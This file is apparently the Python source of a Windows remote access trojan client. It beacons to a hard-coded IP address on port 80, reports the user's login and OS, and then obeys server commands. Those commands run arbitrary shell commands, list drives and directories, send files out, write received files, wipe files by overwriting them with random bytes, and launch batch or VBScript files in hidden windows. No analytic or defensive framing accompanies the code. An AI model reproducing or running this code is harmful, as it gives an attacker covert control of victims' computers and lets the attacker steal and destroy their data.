import socket
import platform
import struct
import time
import datetime
import os
import threading
import shutil
import subprocess
import random
import math
import msvcrt
from datetime import datetime


PACKET_SIZE = 1024
HEADER_SIZE = 8
LENGTH_SIZE = 4
BODY_SIZE = PACKET_SIZE - (HEADER_SIZE + LENGTH_SIZE)

RECONNECT_DELAY = 5
ENCODING = "utf-8"
PING_INTERVAL = 60

PKT_LEN = 4096
HDR_LEN = 18
PKT_ID_LEN = 4
PKT_COMMAND_LEN = 2
PKT_TOT_NUMS_LEN = 4
PKT_CUR_SEQ_LEN = 4
PKT_CURLENG_LEN = 4
PKT_BODY_LEN = 4078

recv_cmd_tots = b''
recv_filelist_tots = b''
recv_fileupload_tots = b''
recv_fileDel_tots = b''
recv_fileExec_tots = b''

def send_first_msg(sock):
    user_name = os.getlogin()
    os_name = platform.system() + " " + platform.release()
    user_bytes = user_name.encode('utf-8')[:32]
    user_bytes += b'\x00' * (32-len(user_bytes))
    os_bytes = os_name.encode('utf-8')[:32]
    os_bytes += b'\x00' * (32-len(os_bytes))
    fmt = '>32s32s'
    packed = struct.pack(fmt, user_bytes, os_bytes)
    send_packet_b(sock, b'\x00\x01', 1, 1, 64, packed)

def spawn_thread(target_func, sock, *args):
    try:
        thread = threading.Thread(target=target_func, args=(sock, *args), daemon=True)
        thread.start()
    except Exception as e:
        print(f"[spawn_thread] is error: {e}")

def handle_cmd_b(sock, comm_byte):
    global recv_cmd_tots
    bPktTots = comm_byte[:PKT_TOT_NUMS_LEN]
    bPktSeq = comm_byte[PKT_TOT_NUMS_LEN:PKT_TOT_NUMS_LEN+PKT_CUR_SEQ_LEN]
    bPktLen = comm_byte[PKT_TOT_NUMS_LEN+PKT_CUR_SEQ_LEN:PKT_TOT_NUMS_LEN+PKT_CUR_SEQ_LEN+PKT_CURLENG_LEN]
    
    nPktTots = int.from_bytes(bPktTots, byteorder='little', signed=True)
    nPktSeq = int.from_bytes(bPktSeq, byteorder='little', signed=True)
    nPktLen = int.from_bytes(bPktLen, byteorder='little', signed=True)

    payload = comm_byte[PKT_TOT_NUMS_LEN+PKT_CUR_SEQ_LEN+PKT_CURLENG_LEN:PKT_TOT_NUMS_LEN+PKT_CUR_SEQ_LEN+PKT_CURLENG_LEN+nPktLen]
    recv_cmd_tots += payload
    if(nPktTots == nPktSeq):
        cmd_str = recv_cmd_tots.decode('utf-8', errors='ignore')
        recv_cmd_tots = b''
        try:
            result = subprocess.run(cmd_str, shell=True, capture_output=True, text=True)
            output = result.stdout + result.stderr
        except Exception as e:
            output = e
        output_bytes = output.encode('utf-8')
        pkts = math.ceil(len(output_bytes)/PKT_BODY_LEN);
        k = 0
        for i in range(0, len(output_bytes), PKT_BODY_LEN):
            block = output_bytes[i:i+PKT_BODY_LEN]
            tmpLen = PKT_BODY_LEN
            if len(block) < PKT_BODY_LEN:
                padding = bytes(PKT_BODY_LEN-len(block))
                tmpLen = len(block)
                block += padding
            send_packet_b(sock, b'\x00\x10', pkts, k+1, tmpLen, block)
            k += 1

def handle_Volumes_b(sock, comm_byte):
    drive_info = []
    drive_bytes = b''
    drive_str = ""
    for d in range(65, 91):
        drive = f"{chr(d)}:/"
        if(os.path.exists(drive)):
            total, used, free = shutil.disk_usage(drive)
            drive_str += f"{drive}   {total//(2**30)}GB   {used//(2**30)}GB   {(used/total)*100:.2f}%|"
    print(f"{drive_str}")
    output_bytes = drive_str.encode('utf-8')
    pkts = math.ceil(len(output_bytes)/PKT_BODY_LEN);
    k = 0
    for i in range(0, len(output_bytes), PKT_BODY_LEN):
        block = output_bytes[i:i+PKT_BODY_LEN]
        tmpLen = PKT_BODY_LEN
        if len(block) < PKT_BODY_LEN:
            padding = bytes(PKT_BODY_LEN-len(block))
            tmpLen = len(block)
            block += padding
        print(f"{block}")
        send_packet_b(sock, b'\x01\x00', pkts, k+1, tmpLen, block)
        k += 1

def handle_listdir(sock, comm_byte):
    global recv_filelist_tots

    bPktTots = comm_byte[:PKT_TOT_NUMS_LEN]
    bPktSeq = comm_byte[PKT_TOT_NUMS_LEN:PKT_TOT_NUMS_LEN+PKT_CUR_SEQ_LEN]
    bPktLen = comm_byte[PKT_TOT_NUMS_LEN+PKT_CUR_SEQ_LEN:PKT_TOT_NUMS_LEN+PKT_CUR_SEQ_LEN+PKT_CURLENG_LEN]
    
    nPktTots = int.from_bytes(bPktTots, byteorder='little', signed=True)
    nPktSeq = int.from_bytes(bPktSeq, byteorder='little', signed=True)
    nPktLen = int.from_bytes(bPktLen, byteorder='little', signed=True)

    payload = comm_byte[PKT_TOT_NUMS_LEN+PKT_CUR_SEQ_LEN+PKT_CURLENG_LEN:PKT_TOT_NUMS_LEN+PKT_CUR_SEQ_LEN+PKT_CURLENG_LEN+nPktLen]
    recv_filelist_tots += payload
    if(nPktTots == nPktSeq):
        path = recv_filelist_tots.decode('utf-8', errors='ignore')
        recv_filelist_tots = b''
        try:
            entries = []
            for entry in os.listdir(path):
                fp = os.path.join(path, entry)
                kind = "DIR" if os.path.isdir(fp) else "FILE"
                size = os.path.getsize(fp)
                mod = datetime.fromtimestamp(os.path.getmtime(fp)).strftime("%Y-%m-%d %H-%M-%S")
                entries.append(f"{entry}|{kind}|{size}|{mod}")
            result = ";".join(entries)
        except Exception as e:
            result = e
    
        output_bytes = result.encode('utf-8')
        pkts = math.ceil(len(output_bytes)/PKT_BODY_LEN);
        k = 0
        for i in range(0, len(output_bytes), PKT_BODY_LEN):
            block = output_bytes[i:i+PKT_BODY_LEN]
            tmpLen = PKT_BODY_LEN
            if len(block) < PKT_BODY_LEN:
                padding = bytes(PKT_BODY_LEN-len(block))
                tmpLen = len(block)
                block += padding
            send_packet_b(sock, b'\x01\x10', pkts, k+1, tmpLen, block)
            k += 1

def handle_file_upload(sock, comm_byte):
    global recv_fileupload_tots

    bPktTots = comm_byte[:PKT_TOT_NUMS_LEN]
    bPktSeq = comm_byte[PKT_TOT_NUMS_LEN:PKT_TOT_NUMS_LEN+PKT_CUR_SEQ_LEN]
    bPktLen = comm_byte[PKT_TOT_NUMS_LEN+PKT_CUR_SEQ_LEN:PKT_TOT_NUMS_LEN+PKT_CUR_SEQ_LEN+PKT_CURLENG_LEN]
    
    nPktTots = int.from_bytes(bPktTots, byteorder='little', signed=True)
    nPktSeq = int.from_bytes(bPktSeq, byteorder='little', signed=True)
    nPktLen = int.from_bytes(bPktLen, byteorder='little', signed=True)

    payload = comm_byte[PKT_TOT_NUMS_LEN+PKT_CUR_SEQ_LEN+PKT_CURLENG_LEN:PKT_TOT_NUMS_LEN+PKT_CUR_SEQ_LEN+PKT_CURLENG_LEN+nPktLen]
    recv_fileupload_tots += payload
    if(nPktTots == nPktSeq):
        path = recv_fileupload_tots.decode('utf-8', errors='ignore')
        recv_fileupload_tots = b''
        fileSize = os.path.getsize(path)
        sendPkts = math.ceil(fileSize/PKT_BODY_LEN);
        sendSeq = 0
        with open(path, "rb") as f:
            while True:
                data = f.read(PKT_BODY_LEN)
                if not data:
                    break
                send_packet_b(sock, b'\x01\x30', sendPkts, sendSeq+1, len(data), data)
                sendSeq += 1

def handle_fileDel(sock, comm_byte):
    global recv_fileDel_tots

    bPktTots = comm_byte[:PKT_TOT_NUMS_LEN]
    bPktSeq = comm_byte[PKT_TOT_NUMS_LEN:PKT_TOT_NUMS_LEN+PKT_CUR_SEQ_LEN]
    bPktLen = comm_byte[PKT_TOT_NUMS_LEN+PKT_CUR_SEQ_LEN:PKT_TOT_NUMS_LEN+PKT_CUR_SEQ_LEN+PKT_CURLENG_LEN]
    
    nPktTots = int.from_bytes(bPktTots, byteorder='little', signed=True)
    nPktSeq = int.from_bytes(bPktSeq, byteorder='little', signed=True)
    nPktLen = int.from_bytes(bPktLen, byteorder='little', signed=True)

    payload = comm_byte[PKT_TOT_NUMS_LEN+PKT_CUR_SEQ_LEN+PKT_CURLENG_LEN:PKT_TOT_NUMS_LEN+PKT_CUR_SEQ_LEN+PKT_CURLENG_LEN+nPktLen]
    recv_fileDel_tots += payload
    if(nPktTots == nPktSeq):
        path = recv_fileDel_tots.decode('utf-8', errors='ignore')
        recv_fileDel_tots = b''
        print(f"Del {path}")
        if not os.path.isfile(path):
            return
        fsize = os.path.getsize(path)
        try:
            with open(path, "ba+", buffering=0) as f:
                f.seek(0)
                for _ in range(fsize//4096+1):
                    ccc = os.urandom(min(4096, fsize))
                    f.write(ccc)
                f.flush()
                os.fsync(f.fileno())
            dir_name = os.path.dirname(path)
            temp_name = os.path.join(dir_name, f".del_{random.randint(100000, 999999)}.tmp")
            os.rename(path, temp_name)
            os.remove(temp_name)
        except Exception as e:
            print(f"del error {e}")
def handle_fileExec(sock, comm_byte):
    global recv_fileExec_tots

    bPktTots = comm_byte[:PKT_TOT_NUMS_LEN]
    bPktSeq = comm_byte[PKT_TOT_NUMS_LEN:PKT_TOT_NUMS_LEN+PKT_CUR_SEQ_LEN]
    bPktLen = comm_byte[PKT_TOT_NUMS_LEN+PKT_CUR_SEQ_LEN:PKT_TOT_NUMS_LEN+PKT_CUR_SEQ_LEN+PKT_CURLENG_LEN]
    
    nPktTots = int.from_bytes(bPktTots, byteorder='little', signed=True)
    nPktSeq = int.from_bytes(bPktSeq, byteorder='little', signed=True)
    nPktLen = int.from_bytes(bPktLen, byteorder='little', signed=True)

    payload = comm_byte[PKT_TOT_NUMS_LEN+PKT_CUR_SEQ_LEN+PKT_CURLENG_LEN:PKT_TOT_NUMS_LEN+PKT_CUR_SEQ_LEN+PKT_CURLENG_LEN+nPktLen]
    recv_fileExec_tots += payload
    if(nPktTots == nPktSeq):
        path = recv_fileExec_tots.decode('utf-8', errors='ignore')
        recv_fileExec_tots = b''
        if not os.path.isfile(path):
            return
        ext = os.path.splitext(path)[1].lower()

        CREATE_NO_WIN = 0x08000000
        if ext == ".bat":
            subprocess.Popen(["cmd", "/c", path], creationflags=CREATE_NO_WIN)
        elif ext == ".vbs":
            subprocess.Popen(["wscript", "/b", path], creationflags=CREATE_NO_WIN)
        else:
            return

def handle_file_download(sock, comm_byte):
    bPktTots = comm_byte[:PKT_TOT_NUMS_LEN]
    bPktSeq = comm_byte[PKT_TOT_NUMS_LEN:PKT_TOT_NUMS_LEN+PKT_CUR_SEQ_LEN]
    bPktLen = comm_byte[PKT_TOT_NUMS_LEN+PKT_CUR_SEQ_LEN:PKT_TOT_NUMS_LEN+PKT_CUR_SEQ_LEN+PKT_CURLENG_LEN]
    
    nPktTots = int.from_bytes(bPktTots, byteorder='little', signed=True)
    nPktSeq = int.from_bytes(bPktSeq, byteorder='little', signed=True)
    nPktLen = int.from_bytes(bPktLen, byteorder='little', signed=True)

    payload = comm_byte[PKT_TOT_NUMS_LEN+PKT_CUR_SEQ_LEN+PKT_CURLENG_LEN:PKT_TOT_NUMS_LEN+PKT_CUR_SEQ_LEN+PKT_CURLENG_LEN+nPktLen]
    
    fileName_len = payload[0]
    if fileName_len <= 0:
        return
    fileName_byte = payload[1:1+fileName_len]
    fileData_len = nPktLen - 1 - fileName_len
    fileData = payload[1+fileName_len:nPktLen]
    filePath = fileName_byte.decode('utf-8', errors='ignore')
    if nPktSeq == 1:
        with open(filePath, 'wb') as f:
            f.write(fileData)
    else:
        with open(filePath, 'ab') as f:
            f.write(fileData)

def build_packet(header: str, body: str) -> bytes:
    header_fixed = header.ljust(8)[:8]

    payload = (header_fixed + body).encode('utf-8')

    import binascii
    hex_str = binascii.hexlify(payload).decode('ascii')
    target_hex_len = 1024*2
    if len(hex_str) > target_hex_len:
        hex_str = hex_str[:target_hex_len]
    else:
        hex_str = hex_str.ljust(target_hex_len, '0')
    
    packet_bytes = binascii.unhexlify(hex_str)
    return packet_bytess

def recv_packet(sock):
    data = recv_exact(sock, PKT_LEN)
    if not data:
        return None, None
    return parse_packet_b(data)

def recv_exact(sock, size):
    buf = b''
    f = 0
    while len(buf) < size:
        chunk = sock.recv(size-len(buf))
        ll = len(chunk)
        if (ll >= HDR_LEN) & (f == 0):
            pkt_id = chunk[:PKT_ID_LEN]
            if pkt_id != b'\x99\x0A\xBD\x99':
                return None
        if not chunk:
            return None
        buf += chunk
        f = 1
    return buf

def parse_packet_b(data: bytes):
    if not data or len(data) < PKT_LEN:
        raise ValueError(f"size of packet is smaller({len(data)} bytes)")
    pkt_id = data[:PKT_ID_LEN]
    if(pkt_id != b'\x99\x0A\xBD\x99'):
        return None, None
    comm = data[PKT_ID_LEN:PKT_ID_LEN+PKT_COMMAND_LEN]
    body = data[PKT_ID_LEN+PKT_COMMAND_LEN:]
    return comm, body

def send_packet_b(sock, comm: bytes, pkt_tot: int, pkt_cur:int, pkt_len:int, payload: bytes):
    try:
        pkt_tot_b = struct.pack('<I', pkt_tot)
        pkt_cur_b = struct.pack('<I', pkt_cur)
        pkt_len_b = struct.pack('<I', pkt_len)
        packet = b'\x99\x0A\xBD\x99' + comm + pkt_tot_b + pkt_cur_b + pkt_len_b + payload

        if pkt_len < (PKT_LEN-HDR_LEN):
            packet += b'\x00'*(PKT_LEN-HDR_LEN-pkt_len)
        sock.sendall(packet)
    
    except Exception as e:
        print(f"[send_packet] is error: {e}")

def connect_to_server(host='1.209.97.230', port=80, user='aaa'):
    while True:
        try:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.settimeout(10)

            print(f"connect to server ({host}:{port}.....")
            sock.connect((host, port))
            print("connect to server is ok!")
            send_first_msg(sock)
            handle_client(sock)

        except Exception as e:
            print(f"connection error: {e}")
            time.sleep(5)

        finally:
            try:
                sock.close()
            except:
                pass
            print("socket is closed, reconnecting....")
            time.sleep(5)
                    
def handle_client(sock):
    while True:
        try:
            comm, body = recv_packet(sock)
            if not comm:
                break
            if comm == b'\x00\x10':
                spawn_thread(handle_cmd_b, sock, body)
            elif comm == b'\x01\x00':
                spawn_thread(handle_Volumes_b, sock, body)
            elif comm == b'\x01\x10':
                spawn_thread(handle_listdir, sock, body)
            elif comm == b'\x01\x20':
                spawn_thread(handle_file_download, sock, body)
            elif comm == b'\x01\x30':
                spawn_thread(handle_file_upload, sock, body)
            elif comm == b'\x01\x40':
                spawn_thread(handle_fileDel, sock, body)
            elif comm == b'\x01\x50':
                spawn_thread(handle_fileExec, sock, body)
            elif comm == b'\x11\x10':
                break
            else:
                break
        except TimeoutError:
            continue
        except Exception as e:
            print(f"[error] handle_client is error:{e}")
            break
                

if __name__ == "__main__":
    lock_file = "my_program.lock"

    try:
        lock_fd = open(lock_file, "w")
        msvcrt.locking(lock_fd.fileno(), msvcrt.LK_NBLCK, 1)
        connect_to_server(user="aaa")
    except IOError:
        sys.exit(1)
    finally:
        lock_fd.close()
    